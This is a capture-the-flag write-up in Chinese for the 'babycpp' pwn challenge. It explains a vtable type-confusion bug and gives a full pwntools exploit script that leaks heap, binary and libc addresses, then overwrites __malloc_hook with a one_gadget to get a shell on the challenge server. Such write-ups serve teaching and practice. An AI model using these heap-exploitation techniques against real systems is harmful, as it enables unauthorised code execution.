[Pwn] babycpp - mf xp0int Posted on May 27 2019 1. 还是单选问题,不过有两种结构体,一种存str,一种存int。 ```c struct intNode{ void * vtable; char hash[16]; int64 size; int64 *content; } struct strNode{ void * vtable; char hash[16]; int64 size; int64 *xxx; } struct xxx{ char *content int64 size; } ``` - 2. 漏洞在updateHash的时候,如果你输入的ida为0x80000000,那么hash就会写到vtable处 ![](https://leanote.com/api/file/getImage?fileId=5ceb462cab64412e23001372) 3. 由于保护全开,我们即使可以覆盖vtable也没有地址,这里的做法是类型混淆,将strNode的vtable改成intNode的vtable,后三位不同,patial overwrite,1/16的正确几率 4. 将strNode转为intNode之后,我们就可以控制content指针(直接打印可以获得heap地址),也就是原本的xxx指针,我们只需伪造一个xxx结构题,并将指针只过去,再转回strNode,就可以有任意读和任意写了。 5. 利用过程如下: - 泄漏heap地址 - 泄漏heap上vtable地址,也就是base基址 - 泄漏got表,也就是libc地址 - 修改`__malloc_hook`为`one_gadget` - 再次malloc,getshell ![](https://leanote.com/api/file/getImage?fileId=5ceb48c7ab64412e23001400) 脚本如下: ```python #!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" p = remote('117.78.48.182', 32114) lib64 = './libc-2.27.so' libc = ELF(lib64) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) CNT = 0 def new_int(): global CNT sla("choice:", "0") sla("choice:", str(1)) hash = CNT CNT += 1 return hash def new_str(): global CNT sla("choice:", "0") sla("choice:", str(2)) hash = CNT CNT += 1 return hash def set_int(hash, idx, val): sla("choice:", "2") sea("hash:", p8(hash).ljust(16, "\x00")) sla("idx:", str(idx)) sla("val:", hex(val)) def show_int(hash, idx): sla("choice:", "1") sea("hash:", p8(hash).ljust(16, "\x00")) sla("idx:", str(idx)) def set_str(hash, idx, size, content, is_new=True): sla("choice:", "2") sea("hash:", p8(hash).ljust(16, "\x00")) sla("idx:", str(idx)) if is_new: sla("obj:", str(size)) time.sleep(0.1) se(content) else: se(content) def show_str(hash, idx): sla("choice:", "1") sea("hash:", p8(hash).ljust(16, "\x00")) sla("idx:", str(idx)) def update_hash(old, idx, content): sla("choice:", "3") sea("hash:", p8(old).ljust(16, "\x00")) sla("idx:", str(idx)) sea("hash:", content) a = new_str() set_str(a, 0, 0x20, '1'*0x10) update_hash(a, 0x80000000, '\xe0\x5c') show_int(a, 0) p.recvuntil('The value in the array is ') leak = p.recv(12) heap_addr = int('0x' + leak, 16) p.info('heap_addr: %s' % hex(heap_addr)) set_int(a, 0, heap_addr+0x130) b = new_str() payload = p64(heap_addr + 0x51) + p64(0xdeadbeef) set_str(b, 0, 256, payload) update_hash(a, 0x80000000, '\x00\x5d') show_str(a, 0) p.recvuntil('Content:') leak = p.recv(5) base_addr = u64('\x00'+leak+'\x00\x00') - 0x201d00 p.info('base_addr: %s' % hex(base_addr)) set_str(b, 0, 0, p64(base_addr + 0x0000000000201F88), is_new=False) show_str(a, 0) p.recvuntil('Content:') leak = p.recv(6) libc_addr = u64(leak.ljust(8, '\x00')) - libc.symbols['setvbuf'] libc.address = libc_addr p.info('libc_addr: %s' % hex(libc_addr)) set_str(b, 0, 0, p64(libc.symbols['__malloc_hook']), is_new=False) one_gadget = 0x4f322 set_str(a, 0, 0, p64(libc_addr + one_gadget), is_new=False) sla("choice:", "0") sla("choice:", str(1)) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Web] 高明的黑客 - LanceaKing [Pwn] trywrite -cpt.shao
没有帐号? 立即注册